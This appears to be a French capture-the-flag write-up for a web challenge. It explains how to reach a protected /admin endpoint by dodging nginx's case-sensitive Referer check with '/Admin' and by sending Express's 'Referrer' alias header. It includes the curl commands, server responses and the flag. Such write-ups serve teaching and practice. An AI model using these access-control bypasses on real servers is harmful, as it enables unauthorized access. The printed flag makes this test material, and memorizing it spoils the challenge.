

# T'as la réferrrrrrrence ? (MEDIUM)

---

Auteur(s) :

Senkei

Catégorie :

Web

Description :

On dirait que le service admin de l'université n'est pas totalement sécurisé.

J'ai besoin de ton aide pour contourner le système!

<https://ta-la-ref.univhackon.fr>

[talareffff.zip](#)

**Flag :** UHOCTF{Fake\_flag}

---

## Solution

On doit contourner le système à deux endroits.

```
#nginx.conf
location /admin {
    if ($http_referer !~* "^https://admin\.univ-lr\.arpa") {
        return 403;
    }
}
```

```
//app.js
app.get("/admin", (req, res) => {
    if (req.header("referer") === "ADMIN_LR_SECRET") {
        return res.send(process.env.FLAG);
    }

    res.send("Wrong header!");
})
```

Pour résoudre ce challenge, il faut donc dans un modifier le header "deux fois".

Pour Nginx on peut voir que c'est seulement sur /admin en case sensible pour autant express lui ne fait pas de différence. On peut donc bypasser le if de nginx en modifiant <https://ta->

la-ref.univhackon.fr/admin :

- <https://ta-la-ref.univhackon.fr/admin/>
- <https://ta-la-ref.univhackon.fr/Admin>
- <https://ta-la-ref.univhackon.fr/ADMIN>
- ...

## Premier bypass

```
$ curl -i https://ta-la-ref.univhackon.fr/Admin
```

```
HTTP/2 200
date: Fri, 16 Jun 2023 14:22:21 GMT
content-type: text/html; charset=utf-8
x-powered-by: Express
cf-cache-status: DYNAMIC
report-to: {"endpoints":
[{"url":"https://a.nel.cloudflare.com/report/v3?s=EZKAV9TG12ztaIJ4r6JCL3n8rzVqKu%2B45Rjlfb2iMxvRdTWlhhGt2CZy4f17Cucvz4gY
uttiVEG8oA1B0qUYzfgS7z0FHfyAwNghM%2FBZyEaAm%2F7btBKtiZrfRjs3%2FVYj0wIqQV
RchqoZ%2FQ%3D%3D"}], "group": "cf-nel", "max_age": 604800}
nel: {"success_fraction": 0, "report_to": "cf-nel", "max_age": 604800}
server: cloudflare
cf-ray: 7d83b45a5dae0498-CDG
alt-svc: h3=":443"; ma=86400

Wrong header!
```

Pour la partie Node, on regarde dans un premier temps les dépendances et on peut faire voir que express est utilisé en version 4.18

PROF

```
"dependencies": {
  "express": "^4.18.2"
}
```

On peut donc regarder la documentation de la version 4.18.2 de express et on peut voir que la fonction `req.header` est utilisée pour récupérer le header `referer` ou `js req.get('Referrer')`.

On ajoute donc Referrer dans le header de la requête HTTP et on obtient le flag.

## Payload final

```
$ curl -i -H 'Referrer: ADMIN_LR_SECRET' https://ta-la-ref.univhackon.fr/Admin
```

```
HTTP/2 200
date: Fri, 16 Jun 2023 14:27:05 GMT
content-type: text/html; charset=utf-8
x-powered-by: Express
cf-cache-status: DYNAMIC
report-to: {"endpoints":
[{"url":"https://a.nel.cloudflare.com/report/v3?s=ftd36Sy6SCuad0bVXT5mUMGiIbwzEtkn0mF%2Fy5%2B%2FJzVy3jSKNcz0VNu%2F34qvFA
D5oGMaYiqJI38KPsiFmrUqbYi0NCy0KP0fvMm6vVUYJksUk0obU630%2BJmwGlCu4XruRV6m
QpiN2oga%2Fg%3D%3D"}], "group": "cf-nel", "max_age": 604800}
nel: {"success_fraction": 0, "report_to": "cf-nel", "max_age": 604800}
server: cloudflare
cf-ray: 7d83bb49cb2d3c8d-CDG
alt-svc: h3=":443"; ma=86400

UHOCTF{Super_ref_keep_working!!}
```

**Flag :** UHOCTF{Super\_ref\_keep\_working!!}